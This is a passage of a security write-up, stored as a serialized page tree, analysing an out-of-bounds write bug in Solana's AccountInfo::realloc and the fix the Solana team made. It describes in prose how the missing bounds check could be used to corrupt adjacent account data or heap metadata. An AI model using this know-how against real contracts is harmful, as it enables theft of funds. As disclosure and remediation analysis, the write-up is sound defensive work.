{\n",{"type":25,"tag":271,"props":29664,"children":29665},{"class":13593,"line":14354},[29666,29671,29675],{"type":25,"tag":271,"props":29667,"children":29668},{"style":14289},[29669],{"type":30,"value":29670},"    void",{"type":25,"tag":271,"props":29672,"children":29673},{"style":13603},[29674],{"type":30,"value":17702},{"type":25,"tag":271,"props":29676,"children":29677},{"style":13625},[29678],{"type":30,"value":29679}," ptr;\n",{"type":25,"tag":271,"props":29681,"children":29682},{"class":13593,"line":14391},[29683,29688],{"type":25,"tag":271,"props":29684,"children":29685},{"style":14289},[29686],{"type":30,"value":29687},"    size_t",{"type":25,"tag":271,"props":29689,"children":29690},{"style":13625},[29691],{"type":30,"value":29692}," len;\n",{"type":25,"tag":271,"props":29694,"children":29695},{"class":13593,"line":14400},[29696],{"type":25,"tag":271,"props":29697,"children":29698},{"style":13625},[29699],{"type":30,"value":29700},"};\n",{"type":25,"tag":26,"props":29702,"children":29703},{},[29704],{"type":30,"value":29705},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":25,"tag":661,"props":29707,"children":29708},{},[29709,29714,29732],{"type":25,"tag":112,"props":29710,"children":29711},{},[29712],{"type":30,"value":29713},"Slices are laid out in the precise manner described",{"type":25,"tag":112,"props":29715,"children":29716},{},[29717,29719,29725,29727],{"type":30,"value":29718},"Pointers and ",{"type":25,"tag":264,"props":29720,"children":29722},{"className":29721},[],[29723],{"type":30,"value":29724},"usize",{"type":30,"value":29726}," are the same width as ",{"type":25,"tag":264,"props":29728,"children":29730},{"className":29729},[],[29731],{"type":30,"value":21164},{"type":25,"tag":112,"props":29733,"children":29734},{},[29735,29736,29741],{"type":30,"value":10272},{"type":25,"tag":264,"props":29737,"children":29739},{"className":29738},[],[29740],{"type":30,"value":28625},{"type":30,"value":29742}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":25,"tag":26,"props":29744,"children":29745},{},[29746,29748,29753,29755,29761,29763,29768,29770,29776,29778,29783,29785,29795],{"type":30,"value":29747},"Assumption #2 is ",{"type":25,"tag":10281,"props":29749,"children":29750},{},[29751],{"type":30,"value":29752},"probably",{"type":30,"value":29754}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":25,"tag":264,"props":29756,"children":29758},{"className":29757},[],[29759],{"type":30,"value":29760},"borrow_mut",{"type":30,"value":29762}," of the ",{"type":25,"tag":264,"props":29764,"children":29766},{"className":29765},[],[29767],{"type":30,"value":28625},{"type":30,"value":29769}," (through ",{"type":25,"tag":264,"props":29771,"children":29773},{"className":29772},[],[29774],{"type":30,"value":29775},"AccountInfo::try_borrow_mut_data()",{"type":30,"value":29777},"), and ",{"type":25,"tag":264,"props":29779,"children":29781},{"className":29780},[],[29782],{"type":30,"value":28625},{"type":30,"value":29784}," is not usable between multiple threads",{"type":25,"tag":28595,"props":29786,"children":29787},{},[29788],{"type":25,"tag":83,"props":29789,"children":29793},{"href":29790,"ariaDescribedBy":29791,"dataFootnoteRef":7,"id":29792},"#user-content-fn-sendsync",[28602],"user-content-fnref-sendsync",[29794],{"type":30,"value":1326},{"type":30,"value":29796},", so we already have exclusive access.",{"type":25,"tag":26,"props":29798,"children":29799},{},[29800,29802,29806],{"type":30,"value":29801},"A few more ",{"type":25,"tag":10281,"props":29803,"children":29804},{},[29805],{"type":30,"value":20231},{"type":30,"value":29807}," things of note, that could have gone badly but didn't:",{"type":25,"tag":108,"props":29809,"children":29810},{},[29811,29853],{"type":25,"tag":112,"props":29812,"children":29813},{},[29814,29816,29822,29824,29829,29831,29836,29838,29843,29845,29851],{"type":30,"value":29815},"By reborrowing the pointer (the ",{"type":25,"tag":264,"props":29817,"children":29819},{"className":29818},[],[29820],{"type":30,"value":29821},"&mut *(\u003Cvalue of type *mut u64>)",{"type":30,"value":29823},"), we've created a reference with an ",{"type":25,"tag":10281,"props":29825,"children":29826},{},[29827],{"type":30,"value":29828},"unbounded lifetime",{"type":30,"value":29830},". Rust is free to infer ",{"type":25,"tag":10281,"props":29832,"children":29833},{},[29834],{"type":30,"value":29835},"any",{"type":30,"value":29837}," lifetime for ",{"type":25,"tag":264,"props":29839,"children":29841},{"className":29840},[],[29842],{"type":30,"value":27070},{"type":30,"value":29844}," (including ",{"type":25,"tag":264,"props":29846,"children":29848},{"className":29847},[],[29849],{"type":30,"value":29850},"'static",{"type":30,"value":29852},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":25,"tag":112,"props":29854,"children":29855},{},[29856,29858,29864,29866,29871,29873,29878,29880,29885,29887,29892,29894,29899,29901,29906,29908,29914,29916,29921,29923,29928,29930,29935,29937,29942,29944,29949],{"type":30,"value":29857},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":25,"tag":264,"props":29859,"children":29861},{"className":29860},[],[29862],{"type":30,"value":29863},"RefMut",{"type":30,"value":29865}," returned from ",{"type":25,"tag":264,"props":29867,"children":29869},{"className":29868},[],[29870],{"type":30,"value":26995},{"type":30,"value":29872},", but the ",{"type":25,"tag":264,"props":29874,"children":29876},{"className":29875},[],[29877],{"type":30,"value":29863},{"type":30,"value":29879}," is dropped at the end of the statement. So, we now have in ",{"type":25,"tag":264,"props":29881,"children":29883},{"className":29882},[],[29884],{"type":30,"value":27070},{"type":30,"value":29886}," a ",{"type":25,"tag":10281,"props":29888,"children":29889},{},[29890],{"type":30,"value":29891},"mutable",{"type":30,"value":29893}," pointer to the ",{"type":25,"tag":264,"props":29895,"children":29897},{"className":29896},[],[29898],{"type":30,"value":28625},{"type":30,"value":29900},"'s data, but the ",{"type":25,"tag":264,"props":29902,"children":29904},{"className":29903},[],[29905],{"type":30,"value":28625},{"type":30,"value":29907}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":25,"tag":264,"props":29909,"children":29911},{"className":29910},[],[29912],{"type":30,"value":29913},"Mutex",{"type":30,"value":29915}," instead of a ",{"type":25,"tag":264,"props":29917,"children":29919},{"className":29918},[],[29920],{"type":30,"value":28625},{"type":30,"value":29922}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":25,"tag":264,"props":29924,"children":29926},{"className":29925},[],[29927],{"type":30,"value":27070},{"type":30,"value":29929}," and writing to it ",{"type":25,"tag":10281,"props":29931,"children":29932},{},[29933],{"type":30,"value":29934},"and succeed",{"type":30,"value":29936},", resulting in us writing while another reference is alive. However, since ",{"type":25,"tag":264,"props":29938,"children":29940},{"className":29939},[],[29941],{"type":30,"value":27070},{"type":30,"value":29943}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":25,"tag":264,"props":29945,"children":29947},{"className":29946},[],[29948],{"type":30,"value":10346},{"type":30,"value":29950}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":25,"tag":26,"props":29952,"children":29953},{},[29954,29956,29961],{"type":30,"value":29955},"Ok, now that we've understood what the code is ",{"type":25,"tag":10281,"props":29957,"children":29958},{},[29959],{"type":30,"value":29960},"trying",{"type":30,"value":29962}," to do, let's try to break it, shall we?",{"type":25,"tag":96,"props":29964,"children":29966},{"id":29965},"what-can-go-wrong",[29967],{"type":30,"value":29968},"What can go wrong?",{"type":25,"tag":247,"props":29970,"children":29972},{"id":29971},"contracts",[29973],{"type":30,"value":29974},"Contracts",{"type":25,"tag":26,"props":29976,"children":29977},{},[29978,29980,29985,29987,29992,29994,29999,30001,30006],{"type":30,"value":29979},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":25,"tag":264,"props":29981,"children":29983},{"className":29982},[],[29984],{"type":30,"value":26763},{"type":30,"value":29986},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":25,"tag":264,"props":29988,"children":29990},{"className":29989},[],[29991],{"type":30,"value":26763},{"type":30,"value":29993}," to some large size, past the end of the buffer of roughly ",{"type":25,"tag":264,"props":29995,"children":29997},{"className":29996},[],[29998],{"type":30,"value":28415},{"type":30,"value":30000}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":25,"tag":264,"props":30002,"children":30004},{"className":30003},[],[30005],{"type":30,"value":10346},{"type":30,"value":30007}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":25,"tag":26,"props":30009,"children":30010},{},[30011,30013,30020],{"type":30,"value":30012},"There is ",{"type":25,"tag":83,"props":30014,"children":30017},{"href":30015,"rel":30016},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[9066],[30018],{"type":30,"value":30019},"a check",{"type":30,"value":30021}," by the BPF loader, however, and it boils down to:",{"type":25,"tag":7764,"props":30023,"children":30025},{"className":13586,"code":30024,"language":13585,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[30026],{"type":25,"tag":264,"props":30027,"children":30028},{"__ignoreMap":7},[30029,30067,30097,30104,30137],{"type":25,"tag":271,"props":30030,"children":30031},{"class":13593,"line":13594},[30032,30036,30041,30045,30049,30053,30057,30062],{"type":25,"tag":271,"props":30033,"children":30034},{"style":16171},[30035],{"type":30,"value":28701},{"type":25,"tag":271,"props":30037,"children":30038},{"style":13598},[30039],{"type":30,"value":30040}," post_len",{"type":25,"tag":271,"props":30042,"children":30043},{"style":13603},[30044],{"type":30,"value":1860},{"type":25,"tag":271,"props":30046,"children":30047},{"style":13620},[30048],{"type":30,"value":27413},{"type":25,"tag":271,"props":30050,"children":30051},{"style":13625},[30052],{"type":30,"value":394},{"type":25,"tag":271,"props":30054,"children":30055},{"style":13603},[30056],{"type":30,"value":17702},{"type":25,"tag":271,"props":30058,"children":30059},{"style":13598},[30060],{"type":30,"value":30061},"pre_len",{"type":25,"tag":271,"props":30063,"children":30064},{"style":13625},[30065],{"type":30,"value":30066},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":25,"tag":271,"props":30068,"children":30069},{"class":13593,"line":11641},[30070,30075,30079,30083,30088,30092],{"type":25,"tag":271,"props":30071,"children":30072},{"style":13603},[30073],{"type":30,"value":30074},"    ||",{"type":25,"tag":271,"props":30076,"children":30077},{"style":13598},[30078],{"type":30,"value":30040},{"type":25,"tag":271,"props":30080,"children":30081},{"style":13603},[30082],{"type":30,"value":27315},{"type":25,"tag":271,"props":30084,"children":30085},{"style":13625},[30086],{"type":30,"value":30087}," MAX_PERMITTED_DATA_LENGTH ",{"type":25,"tag":271,"props":30089,"children":30090},{"style":14289},[30091],{"type":30,"value":21962},{"type":25,"tag":271,"props":30093,"children":30094},{"style":13609},[30095],{"type":30,"value":30096}," usize\n",{"type":25,"tag":271,"props":30098,"children":30099},{"class":13593,"line":14354},[30100],{"type":25,"tag":271,"props":30101,"children":30102},{"style":13625},[30103],{"type":30,"value":24005},{"type":25,"tag":271,"props":30105,"children":30106},{"class":13593,"line":14391},[30107,30112,30116,30120,30124,30128,30133],{"type":25,"tag":271,"props":30108,"children":30109},{"style":16171},[30110],{"type":30,"value":30111},"    return",{"type":25,"tag":271,"props":30113,"children":30114},{"style":13609},[30115],{"type":30,"value":28871},{"type":25,"tag":271,"props":30117,"children":30118},{"style":13625},[30119],{"type":30,"value":394},{"type":25,"tag":271,"props":30121,"children":30122},{"style":13609},[30123],{"type":30,"value":28880},{"type":25,"tag":271,"props":30125,"children":30126},{"style":13603},[30127],{"type":30,"value":13617},{"type":25,"tag":271,"props":30129,"children":30130},{"style":13609},[30131],{"type":30,"value":30132},"InvalidRealloc",{"type":25,"tag":271,"props":30134,"children":30135},{"style":13625},[30136],{"type":30,"value":13665},{"type":25,"tag":271,"props":30138,"children":30139},{"class":13593,"line":14400},[30140],{"type":25,"tag":271,"props":30141,"children":30142},{"style":13625},[30143],{"type":30,"value":17058},{"type":25,"tag":26,"props":30145,"children":30146},{},[30147,30149,30154,30156,30161],{"type":30,"value":30148},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":25,"tag":10281,"props":30150,"children":30151},{},[30152],{"type":30,"value":30153},"finishes",{"type":30,"value":30155}," execution. ",{"type":25,"tag":10281,"props":30157,"children":30158},{},[30159],{"type":30,"value":30160},"During",{"type":30,"value":30162}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":25,"tag":26,"props":30164,"children":30165},{},[30166,30168,30173,30175,30180,30182,30189],{"type":30,"value":30167},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":25,"tag":10281,"props":30169,"children":30170},{},[30171],{"type":30,"value":30172},"arbitrary",{"type":30,"value":30174}," memory access through a mistakenly-",{"type":25,"tag":264,"props":30176,"children":30178},{"className":30177},[],[30179],{"type":30,"value":26763},{"type":30,"value":30181},"'d account, this falls in the relm of some ",{"type":25,"tag":83,"props":30183,"children":30186},{"href":30184,"rel":30185},"https://en.wikipedia.org/wiki/Buffer_overflow",[9066],[30187],{"type":30,"value":30188},"old-school pwning",{"type":30,"value":30190}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":25,"tag":247,"props":30192,"children":30194},{"id":30193},"not-contracts",[30195],{"type":30,"value":30196},"Not-contracts?",{"type":25,"tag":26,"props":30198,"children":30199},{},[30200,30202,30207,30209,30219,30221,30233,30235,30242,30244,30249,30251,30256,30258,30271,30273,30278,30280,30285],{"type":30,"value":30201},"Remember when we said that all this code makes sense ",{"type":25,"tag":10281,"props":30203,"children":30204},{},[30205],{"type":30,"value":30206},"if the data points to the BPF loader's serialized buffer",{"type":30,"value":30208},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":25,"tag":83,"props":30210,"children":30213},{"href":30211,"rel":30212},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[9066],[30214],{"type":25,"tag":264,"props":30215,"children":30217},{"className":30216},[],[30218],{"type":30,"value":28060},{"type":30,"value":30220}," are public, and so is its ",{"type":25,"tag":83,"props":30222,"children":30225},{"href":30223,"rel":30224},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[9066],[30226,30231],{"type":25,"tag":264,"props":30227,"children":30229},{"className":30228},[],[30230],{"type":30,"value":28244},{"type":30,"value":30232}," method",{"type":30,"value":30234}," (which is ",{"type":25,"tag":83,"props":30236,"children":30239},{"href":30237,"rel":30238},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[9066],[30240],{"type":30,"value":30241},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":30,"value":30243},"). The ",{"type":25,"tag":264,"props":30245,"children":30247},{"className":30246},[],[30248],{"type":30,"value":26763},{"type":30,"value":30250}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":25,"tag":264,"props":30252,"children":30254},{"className":30253},[],[30255],{"type":30,"value":28060},{"type":30,"value":30257}," ourselves - potentially through the ",{"type":25,"tag":83,"props":30259,"children":30262},{"href":30260,"rel":30261},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[9066],[30263,30269],{"type":25,"tag":264,"props":30264,"children":30266},{"className":30265},[],[30267],{"type":30,"value":30268},"Account",{"type":30,"value":30270}," trait",{"type":30,"value":30272},", which is hardly documented at all and makes ",{"type":25,"tag":10281,"props":30274,"children":30275},{},[30276],{"type":30,"value":30277},"no",{"type":30,"value":30279}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":25,"tag":264,"props":30281,"children":30283},{"className":30282},[],[30284],{"type":30,"value":10346},{"type":30,"value":30286}," buffer.",{"type":25,"tag":26,"props":30288,"children":30289},{},[30290,30292,30303,30305,30311,30313,30319,30321,30334,30336,30341,30343,30348,30350,30355,30357,30362,30364,30369,30371,30376],{"type":30,"value":30291},"One long arm of this is ",{"type":25,"tag":83,"props":30293,"children":30296},{"href":30294,"rel":30295},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[9066],[30297],{"type":25,"tag":264,"props":30298,"children":30300},{"className":30299},[],[30301],{"type":30,"value":30302},"solana_sdk::account::Account",{"type":30,"value":30304}," - in the client SDK. It holds an account's data in a ",{"type":25,"tag":264,"props":30306,"children":30308},{"className":30307},[],[30309],{"type":30,"value":30310},"Vec\u003Cu8>",{"type":30,"value":30312},", and it implements ",{"type":25,"tag":264,"props":30314,"children":30316},{"className":30315},[],[30317],{"type":30,"value":30318},"solana_program::account_info::Account",{"type":30,"value":30320}," (the trait from earlier) - by ",{"type":25,"tag":83,"props":30322,"children":30325},{"href":30323,"rel":30324},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[9066],[30326,30328],{"type":30,"value":30327},"returning a reference to the contents of that ",{"type":25,"tag":264,"props":30329,"children":30331},{"className":30330},[],[30332],{"type":30,"value":30333},"Vec",{"type":30,"value":30335},". So, ",{"type":25,"tag":264,"props":30337,"children":30339},{"className":30338},[],[30340],{"type":30,"value":26763},{"type":30,"value":30342}," writes the size into the 8 bytes right before ",{"type":25,"tag":264,"props":30344,"children":30346},{"className":30345},[],[30347],{"type":30,"value":10346},{"type":30,"value":30349},"; ",{"type":25,"tag":264,"props":30351,"children":30353},{"className":30352},[],[30354],{"type":30,"value":10346},{"type":30,"value":30356}," is the buffer of a ",{"type":25,"tag":264,"props":30358,"children":30360},{"className":30359},[],[30361],{"type":30,"value":30333},{"type":30,"value":30363},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":25,"tag":264,"props":30365,"children":30367},{"className":30366},[],[30368],{"type":30,"value":28060},{"type":30,"value":30370}," out of an SDK ",{"type":25,"tag":264,"props":30372,"children":30374},{"className":30373},[],[30375],{"type":30,"value":30268},{"type":30,"value":30377}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":25,"tag":96,"props":30379,"children":30381},{"id":30380},"remediation",[30382],{"type":30,"value":30383},"Remediation",{"type":25,"tag":26,"props":30385,"children":30386},{},[30387],{"type":30,"value":30388},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":25,"tag":26,"props":30390,"children":30391},{},[30392,30394,30399,30401,30406,30408,30418,30420,30425,30427,30434],{"type":30,"value":30393},"The sensible thing to do would be to store the initial size in the ",{"type":25,"tag":264,"props":30395,"children":30397},{"className":30396},[],[30398],{"type":30,"value":28060},{"type":30,"value":30400},"... except for the fact that the layout of ",{"type":25,"tag":264,"props":30402,"children":30404},{"className":30403},[],[30405],{"type":30,"value":28060},{"type":30,"value":30407}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":25,"tag":28595,"props":30409,"children":30410},{},[30411],{"type":25,"tag":83,"props":30412,"children":30416},{"href":30413,"ariaDescribedBy":30414,"dataFootnoteRef":7,"id":30415},"#user-content-fn-layout",[28602],"user-content-fnref-layout",[30417],{"type":30,"value":7711},{"type":30,"value":30419}," So, with changing ",{"type":25,"tag":264,"props":30421,"children":30423},{"className":30422},[],[30424],{"type":30,"value":28060},{"type":30,"value":30426}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":25,"tag":83,"props":30428,"children":30431},{"href":30429,"rel":30430},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[9066],[30432],{"type":30,"value":30433},"this function",{"type":30,"value":359},{"type":25,"tag":7764,"props":30436,"children":30438},{"className":13586,"code":30437,"language":13585,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[30439],{"type":25,"tag":264,"props":30440,"children":30441},{"__ignoreMap":7},[30442,30450,30458,30466,30474,30481,30489,30497,30545,30610,30676,30697],{"type":25,"tag":271,"props":30443,"children":30444},{"class":13593,"line":13594},[30445],{"type":25,"tag":271,"props":30446,"children":30447},{"style":14385},[30448],{"type":30,"value":30449},"/// Return the account's original data length when it was serialized for the\n",{"type":25,"tag":271,"props":30451,"children":30452},{"class":13593,"line":11641},[30453],{"type":25,"tag":271,"props":30454,"children":30455},{"style":14385},[30456],{"type":30,"value":30457},"/// current program invocation.\n",{"type":25,"tag":271,"props":30459,"children":30460},{"class":13593,"line":14354},[30461],{"type":25,"tag":271,"props":30462,"children":30463},{"style":14385},[30464],{"type":30,"value":30465},"///\n",{"type":25,"tag":271,"props":30467,"children":30468},{"class":13593,"line":14391},[30469],{"type":25,"tag":271,"props":30470,"children":30471},{"style":14385},[30472],{"type":30,"value":30473},"/// # Safety\n",{"type":25,"tag":271,"props":30475,"children":30476},{"class":13593,"line":14400},[30477],{"type":25,"tag":271,"props":30478,"children":30479},{"style":14385},[30480],{"type":30,"value":30465},{"type":25,"tag":271,"props":30482,"children":30483},{"class":13593,"line":16406},[30484],{"type":25,"tag":271,"props":30485,"children":30486},{"style":14385},[30487],{"type":30,"value":30488},"/// This method assumes that the original data length was serialized as a u32\n",{"type":25,"tag":271,"props":30490,"children":30491},{"class":13593,"line":16434},[30492],{"type":25,"tag":271,"props":30493,"children":30494},{"style":14385},[30495],{"type":30,"value":30496},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":25,"tag":271,"props":30498,"children":30499},{"class":13593,"line":16447},[30500,30504,30508,30512,30517,30521,30525,30529,30533,30537,30541],{"type":25,"tag":271,"props":30501,"children":30502},{"style":14289},[30503],{"type":30,"value":14292},{"type":25,"tag":271,"props":30505,"children":30506},{"style":14289},[30507],{"type":30,"value":27711},{"type":25,"tag":271,"props":30509,"children":30510},{"style":14289},[30511],{"type":30,"value":14297},{"type":25,"tag":271,"props":30513,"children":30514},{"style":13620},[30515],{"type":30,"value":30516}," original_data_len",{"type":25,"tag":271,"props":30518,"children":30519},{"style":13625},[30520],{"type":30,"value":394},{"type":25,"tag":271,"props":30522,"children":30523},{"style":13603},[30524],{"type":30,"value":13632},{"type":25,"tag":271,"props":30526,"children":30527},{"style":14289},[30528],{"type":30,"value":26836},{"type":25,"tag":271,"props":30530,"children":30531},{"style":13625},[30532],{"type":30,"value":14406},{"type":25,"tag":271,"props":30534,"children":30535},{"style":13603},[30536],{"type":30,"value":14411},{"type":25,"tag":271,"props":30538,"children":30539},{"style":13609},[30540],{"type":30,"value":26854},{"type":25,"tag":271,"props":30542,"children":30543},{"style":13625},[30544],{"type":30,"value":16431},{"type":25,"tag":271,"props":30546,"children":30547},{"class":13593,"line":16465},[30548,30552,30557,30561,30565,30569,30574,30578,30582,30586,30590,30594,30598,30602,30606],{"type":25,"tag":271,"props":30549,"children":30550},{"style":14289},[30551],{"type":30,"value":16140},{"type":25,"tag":271,"props":30553,"children":30554},{"style":13598},[30555],{"type":30,"value":30556}," key_ptr",{"type":25,"tag":271,"props":30558,"children":30559},{"style":13603},[30560],{"type":30,"value":16155},{"type":25,"tag":271,"props":30562,"children":30563},{"style":14289},[30564],{"type":30,"value":26918},{"type":25,"tag":271,"props":30566,"children":30567},{"style":13603},[30568],{"type":30,"value":1860},{"type":25,"tag":271,"props":30570,"children":30571},{"style":13625},[30572],{"type":30,"value":30573},"key ",{"type":25,"tag":271,"props":30575,"children":30576},{"style":14289},[30577],{"type":30,"value":21962},{"type":25,"tag":271,"props":30579,"children":30580},{"style":13603},[30581],{"type":30,"value":22940},{"type":25,"tag":271,"props":30583,"children":30584},{"style":14289},[30585],{"type":30,"value":22778},{"type":25,"tag":271,"props":30587,"children":30588},{"style":13598},[30589],{"type":30,"value":16179},{"type":25,"tag":271,"props":30591,"children":30592},{"style":14289},[30593],{"type":30,"value":21948},{"type":25,"tag":271,"props":30595,"children":30596},{"style":13603},[30597],{"type":30,"value":22940},{"type":25,"tag":271,"props":30599,"children":30600},{"style":14289},[30601],{"type":30,"value":22778},{"type":25,"tag":271,"props":30603,"children":30604},{"style":13609},[30605],{"type":30,"value":27755},{"type":25,"tag":271,"props":30607,"children":30608},{"style":13625},[30609],{"type":30,"value":16165},{"type":25,"tag":271,"props":30611,"children":30612},{"class":13593,"line":16486},[30613,30617,30622,30626,30630,30634,30638,30642,30646,30651,30655,30659,30663,30667,30672],{"type":25,"tag":271,"props":30614,"children":30615},{"style":14289},[30616],{"type":30,"value":16140},{"type":25,"tag":271,"props":30618,"children":30619},{"style":13598},[30620],{"type":30,"value":30621}," original_data_len_ptr",{"type":25,"tag":271,"props":30623,"children":30624},{"style":13603},[30625],{"type":30,"value":16155},{"type":25,"tag":271,"props":30627,"children":30628},{"style":13598},[30629],{"type":30,"value":30556},{"type":25,"tag":271,"props":30631,"children":30632},{"style":13603},[30633],{"type":30,"value":1860},{"type":25,"tag":271,"props":30635,"children":30636},{"style":13620},[30637],{"type":30,"value":27022},{"type":25,"tag":271,"props":30639,"children":30640},{"style":13625},[30641],{"type":30,"value":394},{"type":25,"tag":271,"props":30643,"children":30644},{"style":13603},[30645],{"type":30,"value":17459},{"type":25,"tag":271,"props":30647,"children":30648},{"style":16187},[30649],{"type":30,"value":30650},"4",{"type":25,"tag":271,"props":30652,"children":30653},{"style":13625},[30654],{"type":30,"value":14406},{"type":25,"tag":271,"props":30656,"children":30657},{"style":14289},[30658],{"type":30,"value":21962},{"type":25,"tag":271,"props":30660,"children":30661},{"style":13603},[30662],{"type":30,"value":22940},{"type":25,"tag":271,"props":30664,"children":30665},{"style":14289},[30666],{"type":30,"value":22778},{"type":25,"tag":271,"props":30668,"children":30669},{"style":13609},[30670],{"type":30,"value":30671}," u32",{"type":25,"tag":271,"props":30673,"children":30674},{"style":13625},[30675],{"type":30,"value":16165},{"type":25,"tag":271,"props":30677,"children":30678},{"class":13593,"line":16495},[30679,30684,30689,30693],{"type":25,"tag":271,"props":30680,"children":30681},{"style":13603},[30682],{"type":30,"value":30683},"    *",{"type":25,"tag":271,"props":30685,"children":30686},{"style":13598},[30687],{"type":30,"value":30688},"original_data_len_ptr",{"type":25,"tag":271,"props":30690,"children":30691},{"style":14289},[30692],{"type":30,"value":21948},{"type":25,"tag":271,"props":30694,"children":30695},{"style":13609},[30696],{"type":30,"value":30096},{"type":25,"tag":271,"props":30698,"children":30699},{"class":13593,"line":16744},[30700],{"type":25,"tag":271,"props":30701,"children":30702},{"style":13625},[30703],{"type":30,"value":17058},{"type":25,"tag":26,"props":30705,"children":30706},{},[30707,30709,30714,30716,30721,30723,30728,30730,30735,30737,30744,30746,30753,30754,30761,30762,30769,30770,30777],{"type":30,"value":30708},"It's marked ",{"type":25,"tag":264,"props":30710,"children":30712},{"className":30711},[],[30713],{"type":30,"value":27477},{"type":30,"value":30715},", properly documented, but there's just one problem: we need this for ",{"type":25,"tag":264,"props":30717,"children":30719},{"className":30718},[],[30720],{"type":30,"value":26763},{"type":30,"value":30722},", which originally was not ",{"type":25,"tag":264,"props":30724,"children":30726},{"className":30725},[],[30727],{"type":30,"value":27477},{"type":30,"value":30729},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":25,"tag":264,"props":30731,"children":30733},{"className":30732},[],[30734],{"type":30,"value":27477},{"type":30,"value":30736}," block and added ",{"type":25,"tag":83,"props":30738,"children":30741},{"href":30739,"rel":30740},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[9066],[30742],{"type":30,"value":30743},"a doc comment",{"type":30,"value":30745}," - adding to the ",{"type":25,"tag":83,"props":30747,"children":30750},{"href":30748,"rel":30749},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[9066],[30751],{"type":30,"value":30752},"small",{"type":30,"value":14096},{"type":25,"tag":83,"props":30755,"children":30758},{"href":30756,"rel":30757},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[9066],[30759],{"type":30,"value":30760},"pile",{"type":30,"value":14096},{"type":25,"tag":83,"props":30763,"children":30766},{"href":30764,"rel":30765},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[9066],[30767],{"type":30,"value":30768},"of",{"type":30,"value":14096},{"type":25,"tag":83,"props":30771,"children":30774},{"href":30772,"rel":30773},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[9066],[30775],{"type":30,"value":30776},"functions",{"type":30,"value":30778}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":25,"tag":96,"props":30780,"children":30782},{"id":30781},"towards-safer-unsafe",[30783,30785],{"type":30,"value":30784},"Towards safer 